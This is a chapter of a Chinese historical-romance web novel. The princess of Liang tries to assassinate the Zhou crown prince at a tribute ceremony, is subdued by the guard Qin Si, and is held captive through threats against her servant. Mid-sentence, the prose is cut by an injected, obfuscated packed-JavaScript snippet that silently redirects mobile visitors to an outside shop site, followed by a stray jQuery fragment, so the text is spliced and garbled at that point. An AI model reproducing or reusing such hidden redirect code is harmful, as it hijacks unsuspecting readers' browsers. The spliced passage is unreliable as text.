玉阶金殿,巍峨森严。
今日是梁国约定割城献宝之时。
太子起了个大早梳洗,他的发冠打理得一丝不苟,换上储君的白珠九旒冕,端得是气度高华,不怒自威。
秦肆能看出,太子对这番接见梁国来使深为重视。毕竟这等于是向天下宣告,他才是现今大周的掌权人。
但秦肆不知,他上心的原因远不止如此。
常朝殿上,太子端坐龙椅,百官按官职高低之序分列站好,宫人无不燃香、执仗、侍奉左右,屏声敛气,唯恐在这紧要关节出什么差错。
侍卫都站在殿外,唯秦肆可以立在阶下。从她的角度,可以清楚看见周彻一身的服制,风姿如玉,秀彻无双,叫人忍不住幻想起他真正登基的样子。秦肆以为那一定是更为俊致的。
辰时一到,太监便扯着嗓子通传:“梁国公主到,求见殿下——”
周彻面前的串珠轻轻晃动:“宣!”
梁国七公主之名四海皆知,众人都好奇地盯过去,想看看这位年纪轻轻就成了一国象征的七公主,究竟是何方神圣。
片刻,只见殿门缓缓踏进一人,手捧雕花木盒,盒上放着一卷地图。宝簪轻裘,绶带轻飘,身姿翩然轻盈,行动间腰上玉环甚至没碰出一声响动,仪态高雅,显然受过极严苛的规矩教养。
她似乎全然没看见那一道道目光,不卑不亢地行礼,一把好嗓音清亮如潺潺溪流。
“梁轻寒叩见殿下。”
所有人的呼吸声都放轻了。
饶是秦肆一个女子,也被震撼到了。
那几乎是一种叫人讶异的美丽,秦肆看到她的第一眼直觉得晃眼睛。不单单是金珠银带发出的光华,还有冷白肌肤在光束下折出的润色。
她欠身,展露出一段如玉的颈子,仿佛出尘高鹤顿首。锦绣罗裳套在她身上倒成了俗物,恍然非尘世中人。
不出意外地,周彻面上闪过一抹惊艳之色。
“平身。”
他已经努力克制了,但秦肆还是能从微微上扬的语调里听出太子的欣喜。
周彻透过珠串瞧着台下人,好似纷杂万物都不存在,殿内独梁轻寒一人。
其实他对梁轻寒的印象已然模糊,只记得那是个相当好看的孩子。时隔多年,她出落得比设想中还要风华绝代,周彻心中怎能不感慨。
“舟车劳顿,公主一路辛苦了。”
梁轻寒面沉如水:“为两国百姓之安宁而来,不敢称苦。宝刀地图具在,请殿下过目。”
顺从的态度令周彻很满意。昔年是他接受梁轻寒的帮助,虽然感激,但屈于人下的滋味毕竟不好受。时移世易,身份调转,心境自然与彼时有别,童年的灰败颜色,似乎被刷洗去一些。
“呈上来吧。”
梁轻寒亦步亦趋登上台阶,流畅的侧颜挑不出一丝毛病,直如画中人。
秦肆心里不知是什么滋味,又觉得这也不奇怪。生得如此好相貌,饶是见惯红粉颜色的太子也要失神。
对太子芳心暗许者不在少数,她从没见周彻对谁有过那样的眼神。
梁轻寒来到座前,徐徐展开地图,上头用朱笔圈了几处标记,正是献让的城池所在。
周彻一一看过,确认无误后才挥手叫来仆从:“好生收着。”
许多人都想从梁轻寒脸上找到一丝不堪受辱的痛楚,然而她眉头都不皱一下,接着缓缓打开木盒的关窍。
梁国有一柄传世宝刀,乃秦汉年间山中仙人所作,锋利无比,削铁如泥,为世间千百刀刃之首。传说得此宝刀者可得天下,梁高祖便是偶获此刀,才龙运加身,开国劈土的。
这种传闻对每个储君来说,都有着莫大的吸引力。
周彻盯着那只骨节分明的手,木盖缓缓掀开,里头竟空空如也。
还不等他反应,梁轻寒猛地从袖中掏出一柄寒光幽幽的利刃,大喝一声便朝周彻刺去。
太子抬手格挡,刀尖“唰”一下,割下朝服广袖一大片布料。
势变着实太快,众人无不愣住。唯秦肆眼疾手快,长剑出窍,飞身夺步,在刀尖即将刺下的瞬间将其振飞。
侍女尖叫道:“刺客、抓刺客!有人要刺杀殿下——!”
局势骤然扭转,秦肆挡在周彻身前,一手扭过梁轻寒的胳膊反押背后,一手持剑上了她的脖颈。
待殿外侍卫匆忙赶来,梁轻寒早已被制服。
“臣等救驾来迟,殿下恕罪!”
周彻没空搭理他们,一下伸出手:“阿肆!莫伤她分毫!”
留一条命和莫伤分毫之间有很大的差距,一般对待刺客,任谁都会选择第一种法子处置。
但太子既然开口,就容不得秦肆多问。单手收剑回鞘,只桎梏着梁轻寒的动作,叫她吃痛不能挣扎。
换了旁人,此时早已被她卸下一条胳膊。
阶下的大臣后知后觉,心有余悸。就在刚刚,大周朝的储君险些要换人!
明相的脑子最先清醒过来,怒斥道:“大胆——!梁国无耻之徒,竟假借献宝之名行意欲刺杀我朝太子,当真罪该万死!!”
周彻摸摸袖口断裂边缘,比起气恼,还是震惊与不解更多。
“既已应承献城讲和,何故言而无信?”
梁轻寒被秦肆押着身子,头颅却依旧高高扬起,一双目凌厉似刀扫过众人,恨不得将他们身上都戳出窟窿来。
蓦地一声冷笑,轻蔑之意尽显。
“你毁我城池、坏我家园,伤我军士万千!不杀你难平我心头之恨!只可惜……只可惜未能取你首级,既然如此——”
话音未落,秦肆突然叫道:“不好!”
说时迟那时快,她一把扣住梁轻寒的下颔,只听“咔哒”一声,梁国公主的下巴便合不上了。
秦肆转身同太子解释:“主上,她刚刚要咬舌自尽,属下不得已才动手。”
周彻没想到梁轻寒竟刚烈至此,深深呼了口气。
明相朝太子行了一礼:“殿下。此人意欲行刺,乃是重罪,不如就地正法!”
梁轻寒虽被卸了下巴,一双眼还是死死盯着周彻,写满不屑,哪里是怕死的样子。
“带下去,听候发落。”
明相一怔:“殿下,可……”
周彻摆手:“本宫乏了,头昏得很,有什么事容后再议吧。”
差点丧命的人心有余悸再正常不过了,明相也不便多说什么,只得同众臣一道恭送太子离去。
太子险些被刺杀的消息不胫而走,皇后第一时间堵住悠悠众口,以免病中的皇帝听后忧心。她亲自来到东宫慰问,太子正歪在美人榻上,神情恹恹。
“母后怎么来了?”周彻翻身下榻就要见礼,“儿臣见过母后。”
皇后连忙扶住他:“傻孩子,你受惊了还不快躺下。太医可看过了?”
“儿臣并无大碍,太医开了两颗安魂定志的丸药,吃了也就好了。”
“不想那梁国公主竟卑鄙至此,当真可恨。”皇后替周彻骂了两句,转而去握他的手,“陛下如今缠绵病榻,梁国公主一事你悄悄处置,切莫惊动了他。若有什么烦难,只管来问本宫。”
周彻颔首:“母后安心,儿臣自有道理。”
母子情深的戏码演得疲倦,打发走皇后,周彻要了一碗提神的热茶来吃。
“你救驾有功,这把刀就赏你了。”
秦肆接过缀着宝石的短刀,若是以往,她身为习武之人得此稀罕物件,高兴还来不及。不知怎的,今日却难有欢欣,只是道:“谢主上恩赐。”
周彻望向窗外随风簌簌的古树,若有所思:“阿肆。你说,一个曾经人救过你,后来却要置你于死地。你会怎么对她?”
情况复杂,秦肆一时给不出什么好的答案。她身份尴尬,直说恐怕有拈酸吃醋之嫌,于是道:“属下……属下也不知道。”
周彻扶额:“我问你做什么,算了。”
日光浮动,云翳渐深。
梁轻寒踉踉跄跄被推进东宫,只觉得齿冷。
她还没被用刑,但已剥去了锦衣玉冠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676564|207492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,五花大绑,披头散发。形容已然狼狈,梁国最后一点威仪便在她身上了,所以侍从强逼她跪下叩首时,梁轻寒怎么也不肯低下头颅。
侍从怒道:“仰面视君,意欲何为!”
“仰面就仰面吧,有什么了不得。”
周彻撩了帘子出来,换了一件通透碧蓝的外衫,缓缓在殿前正位坐下。
侍从松开手,梁轻寒这才有抬头的机会。一仰脸,额角被磕破一块,仿佛剔透无缺的玉璧破了一角。鬓发散乱的阶下囚,神情依旧写满蔑视与不忿。
真是自讨苦吃。
比起愤怒,周彻更多的是不解。
“你这又是何苦?”
梁轻寒冷笑一声:“不必在这装模作样给我看。此事乃我一人所为,要杀要剐,悉听尊便。”
“本宫不杀你。昔年在梁国临庄,你救过了我一命,今日就当还你的恩情。”周彻摆手,忍不住问道,“你当日既能容我,何以今日不能。若真是恨透了我大周,何不在当年早下杀手?”
梁轻寒眉心一拧,似乎没听明白。
“你疯言疯语些什么,我何曾救过你?”
她是去过临庄不假,那是幼年回母亲娘家的必经之路。但他对周彻可没半点印象。
周彻走到他面前蹲下:“你不记得我了?”
梁轻寒瞧他唯有嫌恶,把头一撇:“并无此事。”
太子眉心一跳,很快将那点失望之色掩了下去。
“你不记得也无妨。安心在这儿住下,慢慢就想起来了。”
梁轻寒见他不杀自己,反有囚禁之意,心中更为恼怒。
士可杀不可辱,她留在东宫算什么?
周彻仿佛看穿了她的意图,伸手轻拍了拍她的脸。梁轻寒扭头欲躲,这一次却被强硬地掰过脸来,挣动不得。
秦肆在一旁默默瞧着,心道,这位梁国公主初来乍到,还是不太了解周彻。
他绝不是一能容忍自己再三被忽视的人。
视线相交,太子的眼睛幽深如古井,口吻凉凉的。
“不要想着寻死觅活,除非你完全不在乎身边人。”
梁轻寒心中猛地“咯噔”一下。
周彻轻笑起来:“把人带上来。”
一名瘦长脸的内监被强硬地押入殿中,嘴里还叫嚷个不停:“放开我!放开我!”
侍从反手就是一记耳光,一脚将那人踹到地上。
“太子面前,岂容你呼来喝去,没规矩的东西!”
梁轻寒冰块一般的脸终于被融化,又惊又急:“吴林?!你怎么会在这里,我不是让你——”
周彻拍拍手:“大周境内,你以为他能逃到哪儿去?”
秦肆看出来了,这吴林原是梁国公主的亲信。
没来由的,她很不喜欢那个吴林,干巴的马脸猴眼,看着很不舒服。反而对梁轻寒没什么感觉。
吴林也被捆了手脚,几乎是滚过去的,主仆相见具是红了眼眶。
“公主……!公主可有受皮肉之苦?”
在他们的计划里,梁轻寒现在应该已经痛快离开了。落在周人手里,只怕没有好果子吃。
“我没事,我没事……”梁轻寒摇摇头,美目含泪,形如风中秋叶,望而生怜。
周彻微微眯起眼睛:“公主要为国捐躯,好不刚烈。你们主仆情深,可舍得这姓吴的也去死?”
“不止是他,还有你梁国千千万的子民。若再度出兵,不知你们梁国还能再战几回?”
梁轻寒牙关紧咬,说不出话。
周彻微笑起来。没有答案,就是最好的答案了。
“来人,送公主去平芜院休息。”
两人都被架了下去,梁轻寒犹自回头,百般仇视尽在那一瞪眼里。周彻不甚在意,倒是秦肆看得心头微惊。
好怨毒的眼神。
彼时她只觉得梁轻寒为敌国贵族,与周人水火不容也属常事,就是不免为太子担心。
她尚不知道,自己的好日子从这一刻起,便进入了尾声。